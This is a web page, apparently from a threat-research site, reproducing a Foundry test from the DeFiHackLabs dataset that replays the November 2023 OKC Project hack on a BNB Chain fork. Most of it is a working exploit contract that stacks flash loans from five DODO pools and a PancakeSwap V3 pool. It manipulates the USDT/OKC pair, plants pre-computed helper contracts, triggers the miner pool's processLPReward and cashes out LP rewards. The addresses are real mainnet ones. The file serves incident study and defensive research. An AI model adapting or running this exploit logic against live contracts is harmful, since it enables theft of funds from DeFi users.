Public reproduction file

src/test/2023-11/OKC_exp.sol

Public reproduction file for dataset entry OKC Project.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/OKC_exp.sol340 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import {Test, console2} from "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @Analysis
8// https://lunaray.medium.com/okc-project-hack-analysis-0907312f519b
9// @TX
10// https://dashboard.tenderly.co/tx/bnb/0xd85c603f71bb84437bc69b21d785f982f7630355573566fa365dbee4cd236f08
11 
12contract ContractTest is Test {
13    AttackContract public attack_contract;
14 
15    function setUp() public {
16        vm.createSelectFork("bsc", 33_464_598);
17        assertEq(block.number, 33_464_598);
18        attack_contract = new AttackContract();
19        setLabel();
20        vm.deal(address(this), 1 ether);
21    }
22 
23    function setLabel() private {
24        vm.label(address(this), "Attacker");
25        vm.label(address(attack_contract), "AttackContract");
26        vm.label(address(attack_contract.DPP1()), "0x8191_DPPAdvanced");
27        vm.label(address(attack_contract.DPP2()), "0xfeaf_DPPOracle");
28        vm.label(address(attack_contract.DPP3()), "0x26d0_DPPOracle");
29        vm.label(address(attack_contract.DPP4()), "0x6098_DPP");
30        vm.label(address(attack_contract.DPP4()), "0x6098_DPP");
31        vm.label(address(attack_contract.DPP5()), "0x9ad3_DPPOracle");
32        vm.label(address(attack_contract.pancakeV3Pool()), "PancakeV3Pool");
33        vm.label(address(attack_contract.pancakePair_USDT_OKC()), "PancakePair_USDT_OKC");
34        vm.label(address(attack_contract.USDT()), "USDT");
35        vm.label(address(attack_contract.OKC()), "OKC");
36        vm.label(address(attack_contract.pancakeRouter()), "PancakeRouter");
37    }
38 
39    function testExploit() public {
40        // 0.000000000000000001
41        attack_contract.expect1{value: 1 ether}();
42    }
43}
44 
45contract AttackContract is IDODOCallee {
46    uint256 public nonce = 1;
47    AttackContract2 public attack_contract1;
48    AttackContract2 public attack_contract2;
49 
50    IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
51    IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);
52    address payable public minerPool = payable(address(0x36016C4F0E0177861E6377f73C380c70138E13EE));
53 
54    IDPPOracle public DPP1 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
55    IDPPOracle public DPP2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
56    IDPPOracle public DPP3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
57    IDPPOracle public DPP4 = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
58    IDPPOracle public DPP5 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
59    IPancakeV3Pool public pancakeV3Pool = IPancakeV3Pool(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
60    IPancakeRouter public pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
61    IPancakePair public pancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);
62 
63    function approveAll() internal {
64        OKC.approve(address(pancakeRouter), type(uint256).max);
65        pancakePair_USDT_OKC.approve(address(pancakeRouter), type(uint256).max);
66    }
67 
68    function expect1() external payable {
69        uint256 size;
70        address aaa = address(this);
71        assembly {
72            size := extcodesize(aaa)
73        }
74        console2.log("transfer_all size is: ", size);
75        approveAll();
76        console2.log(
77            "minerPool OKC: ",
78            OKC.balanceOf(address(minerPool)),
79            ", ",
80            uint256(OKC.balanceOf(address(minerPool)) / 1e18)
81        );
82        console2.log(
83            "LP USDT: ",
84            USDT.balanceOf(address(pancakePair_USDT_OKC)),
85            ", ",
86            uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
87        );
88        console2.log(
89            "LP OKC: ",
90            OKC.balanceOf(address(pancakePair_USDT_OKC)),
91            ", ",
92            uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
93        );
94 
95        uint256 amount = USDT.balanceOf(address(DPP1));
96        DPP1.flashLoan(0, amount, address(this), "0");
97        uint256 shengyu = USDT.balanceOf(address(this));
98        console2.log("usdt amount profit: ", shengyu, " ", uint256(shengyu / 1e18));
99 
100        console2.log(
101            "minerPool OKC: ",
102            OKC.balanceOf(address(minerPool)),
103            ", ",
104            uint256(OKC.balanceOf(address(minerPool)) / 1e18)
105        );
106        console2.log(
107            "LP USDT: ",
108            USDT.balanceOf(address(pancakePair_USDT_OKC)),
109            ", ",
110            uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
111        );
112        console2.log(
113            "LP OKC: ",
114            OKC.balanceOf(address(pancakePair_USDT_OKC)),
115            ", ",
116            uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
117        );
118    }
119 
120    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
121        if (keccak256(data) == keccak256(bytes("0"))) {
122            uint256 amount = USDT.balanceOf(address(DPP2));
123            DPP2.flashLoan(0, amount, address(this), "1");
124            USDT.transfer(address(DPP1), quoteAmount);
125        } else if (keccak256(data) == keccak256(bytes("1"))) {
126            uint256 amount = USDT.balanceOf(address(DPP3));
127            DPP3.flashLoan(0, amount, address(this), "2");
128            USDT.transfer(address(DPP2), quoteAmount);
129        } else if (keccak256(data) == keccak256(bytes("2"))) {
130            uint256 amount = USDT.balanceOf(address(DPP4));
131            DPP4.flashLoan(0, amount, address(this), "3");
132            USDT.transfer(address(DPP3), quoteAmount);
133        } else if (keccak256(data) == keccak256(bytes("3"))) {
134            uint256 amount = USDT.balanceOf(address(DPP5));
135            DPP5.flashLoan(0, amount, address(this), "4");
136            USDT.transfer(address(DPP4), quoteAmount);
137        } else if (keccak256(data) == keccak256(bytes("4"))) {
138            uint256 amount = USDT.balanceOf(address(DPP5));
139            pancakeV3Pool.flash(
140                address(this),
141                2_500_000_000_000_000_000_000_000,
142                0,
143                abi.encodePacked(uint256(2_500_000_000_000_000_000_000_000))
144            );
145            USDT.transfer(address(DPP5), quoteAmount);
146        }
147    }
148 
149    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
150        uint256 amount_flash = abi.decode(data, (uint256));
151        uint256 ust_amount = USDT.balanceOf(address(this));
152        console2.log("usdt amount: ", ust_amount, ", ", uint256(ust_amount / 1e18));
153        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
154 
155        swap();
156        mint();
157        USDT.transfer(address(pancakeV3Pool), amount_flash + fee0);
158    }
159 
160    function swap() private {
161        console2.log("--- Step 1: Redeem OKC with Borrowed Points USDT");
162        address[] memory a = new address[](2);
163        a[0] = address(USDT);
164        a[1] = address(OKC);
165 
166        uint256 reserve0 = USDT.balanceOf(address(pancakePair_USDT_OKC));
167        uint256 reserve1 = OKC.balanceOf(address(pancakePair_USDT_OKC));
168        console2.log("LP swap before reserves = ", reserve0, ", ", reserve1);
169 
170        uint256[] memory out = pancakeRouter.getAmountsOut(130_000_000_000_000_000_000_000, a);
171        //assert(out[0] == 130000000000000000000000);
172        //assert(out[1] == 28109225547221109324317);
173        pancakePair_USDT_OKC.swap(
174            1, 28_108_225_547_221_109_324_317, address(this), abi.encodePacked(uint256(130_000_000_000_000_000_000_000))
175        );
176 
177        uint256 reserve011 = USDT.balanceOf(address(pancakePair_USDT_OKC));
178        uint256 reserve122 = OKC.balanceOf(address(pancakePair_USDT_OKC));
179        console2.log("LP swap after reserves = ", reserve011, ", ", reserve122);
180 
181        uint256 usdt_amount = USDT.balanceOf(address(this));
182        uint256 okc_amount = OKC.balanceOf(address(this));
183        //assert(usdt_amount == 2623399993009917185325960);
184        //assert(okc_amount == 27264978780804476044588);
185        console2.log("usdt amount(swap end): ", usdt_amount, ", ", uint256(usdt_amount / 1e18));
186        console2.log("okc amount(swap end): ", okc_amount, ", ", uint256(okc_amount / 1e18));
187        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
188    }
189 
190    function mint() private {
191        console2.log("--- Step 2: Staking Liquidity");
192        address new_attack_contract1 = calculateAddress(address(this), nonce);
193        console2.log("Advance Calculation Contract Address(new_attack_contract2): ", new_attack_contract1);
194        //vm.label(address(attack_contract2), "AttackContract2");
195        OKC.transfer(address(new_attack_contract1), 10_000_000_000_000_000);
196        attack_contract1 = new AttackContract2();
197 
198        nonce++;
199        uint256 size;
200        assembly {
201            size := extcodesize(new_attack_contract1)
202        }
203        console2.log("transfer_all size is: ", size);
204 
205        address new_attack_contract2 = calculateAddress(address(this), nonce);
206        console2.log("Advance Calculation Contract Address(new_attack_contract3): ", new_attack_contract2);
207 
208        USDT.transfer(address(new_attack_contract2), 100_000_000_000_000);
209        OKC.transfer(address(new_attack_contract2), 1);
210        attack_contract2 = new AttackContract2();
211        //vm.label(address(attack_contract3), "AttackContract3");
212 
213        (uint112 reserve0, uint112 reserve1, uint32 blockTimeLast) = pancakePair_USDT_OKC.getReserves();
214        //assert(reserve0 == 139293866156595223760844);
215        //assert(reserve1 == 2015600963959283799829);
216        console2.log("getReserves: ", reserve0, reserve1, blockTimeLast);
217        uint256 okc_amount3 = OKC.balanceOf(address(this));
218 
219        uint256 amountb = pancakeRouter.quote(okc_amount3, reserve1, reserve0);
220        //assert(amountb == 1884223603791570904823359);
221        USDT.transfer(address(pancakePair_USDT_OKC), amountb);
222 
223        uint256 okc_amount4 = OKC.balanceOf(address(this));
224        //assert(okc_amount4 == 27264968780804476044587);
225        OKC.transfer(address(pancakePair_USDT_OKC), okc_amount4);
226 
227        uint256 lp1 = pancakePair_USDT_OKC.mint(address(this));
228        //assert(lp1 == 225705840317082411194413);
229        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
230        console2.log("attack_contract1 lp = ", pancakePair_USDT_OKC.balanceOf(address(attack_contract1)));
231        console2.log("attack_contract2 lp = ", pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));
232 
233        uint256 lp_amount1 = pancakePair_USDT_OKC.balanceOf(address(this));
234        console2.log("this LP: ", lp_amount1);
235        pancakePair_USDT_OKC.transfer(address(attack_contract2), lp_amount1);
236 
237        console2.log("--- Step 3: Main attack point");
238        // MinerPool.call{value: 1 wei}(""); // Attackers use this method
239        minerPool.call(abi.encodeWithSignature("processLPReward()"));
240        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
241        //assert(225705840317082411194413 == pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));
242        uint256 tmp1 = attack_contract2.transfer_all(address(pancakePair_USDT_OKC), address(this));
243        //assert(tmp1 == 225705840317082411194413);
244 
245        uint256 lp_amount2 = pancakePair_USDT_OKC.balanceOf(address(this));
246        //assert(225705840317082411194413 == lp_amount2);
247        (uint256 a, uint256 b) = pancakeRouter.removeLiquidity(
248            address(OKC), address(USDT), lp_amount2, 0, 0, address(this), block.timestamp + 1000
249        );
250        //assert(a == 27264977626947917860405);
251        //assert(b == 1884223603891570904823358);
252 
253        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
254 
255        uint256 tmp2 = attack_contract1.transfer_all(address(OKC), address(this));
256        //assert(tmp2 == 272649687808044760445);
257        uint256 tmp3 = attack_contract2.transfer_all(address(OKC), address(this));
258        //assert(tmp3 == 77890958849117701118009);
259 
260        console2.log("--- Step 4: Withdraw earnings");
261        uint256 okc_amount5 = OKC.balanceOf(address(this));
262        //assert(104610636835065226203047 == okc_amount5);
263 
264        address[] memory path = new address[](2);
265 
266        path[0] = address(OKC);
267        path[1] = address(USDT);
268 
269        console2.log("okc amount = ", OKC.balanceOf(address(this)), ", ", OKC.balanceOf(address(this)) / 1e18);
270        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
271        console2.log("swap OKC to USDT");
272        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
273            okc_amount5, 0, path, address(this), block.timestamp + 1000
274        );
275        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
276        console2.log("usdt amount = ", USDT.balanceOf(address(this)), ", ", USDT.balanceOf(address(this)) / 1e18);
277    }
278 
279    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
280        uint256 amount = abi.decode(data, (uint256));
281        USDT.transfer(address(pancakePair_USDT_OKC), amount);
282        console2.log("USDT transfer to LP: ", amount, ", ", uint256(amount / 1e18));
283        console2.log("LP USDT: ", USDT.balanceOf(address(pancakePair_USDT_OKC)));
284        console2.log("LP OKC: ", OKC.balanceOf(address(pancakePair_USDT_OKC)));
285    }
286 
287    function getTokenPrice() public view returns (uint256) {
288        address[] memory path = new address[](2);
289        path[0] = address(OKC);
290        path[1] = address(USDT);
291        uint256[] memory amounts = pancakeRouter.getAmountsOut(1e18, path);
292        return amounts[1];
293    }
294 
295    function calculateAddress(address creator, uint256 nonce) public pure returns (address) {
296        bytes memory data;
297        if (nonce == 0x00) {
298            data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, bytes1(0x80));
299        } else if (nonce <= 0x7f) {
300            data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, uint8(nonce));
301        } else if (nonce <= 0xff) {
302            data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), creator, bytes1(0x81), uint8(nonce));
303        } else if (nonce <= 0xffff) {
304            data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), creator, bytes1(0x82), uint16(nonce));
305        } else if (nonce <= 0xffffff) {
306            data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), creator, bytes1(0x83), uint24(nonce));
307        } else {
308            data = abi.encodePacked(bytes1(0xda), bytes1(0x94), creator, bytes1(0x84), uint32(nonce));
309        }
310        return address(uint160(uint256(keccak256(data))));
311    }
312}
313 
314contract AttackContract2 {
315    IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
316    IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);
317    IPancakePair public PancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);
318 
319    constructor() {
320        uint256 amount = USDT.balanceOf(address(this));
321        USDT.transfer(address(PancakePair_USDT_OKC), amount);
322        uint256 amount2 = OKC.balanceOf(address(this));
323        OKC.transfer(address(PancakePair_USDT_OKC), amount2);
324    }
325 
326    function transfer_all(address token, address to) public returns (uint256) {
327        uint256 size;
328        address aaa = address(this);
329        assembly {
330            size := extcodesize(aaa)
331        }
332        console2.log("transfer_all size is: ", size);
333        uint256 amount = IERC20(token).balanceOf(address(this));
334        if (IERC20(token).transfer(to, amount)) {
335            return amount;
336        } else {
337            revert("transfer error");
338        }
339    }
340}

Analysis

Dataset entry

Public Foundry test for “OKC Project” (2023-11-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines

File record

Name: OKC Project
Path: src/test/2023-11/OKC_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: d3dcdf48d462011717a46ef74bfc6e1f8bc56797
Language: Solidity
Size: 341 lines
Date: 2023-11-14
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-11/OKC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d3dcdf48d462011717a46ef74bfc6e1f8bc56797, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.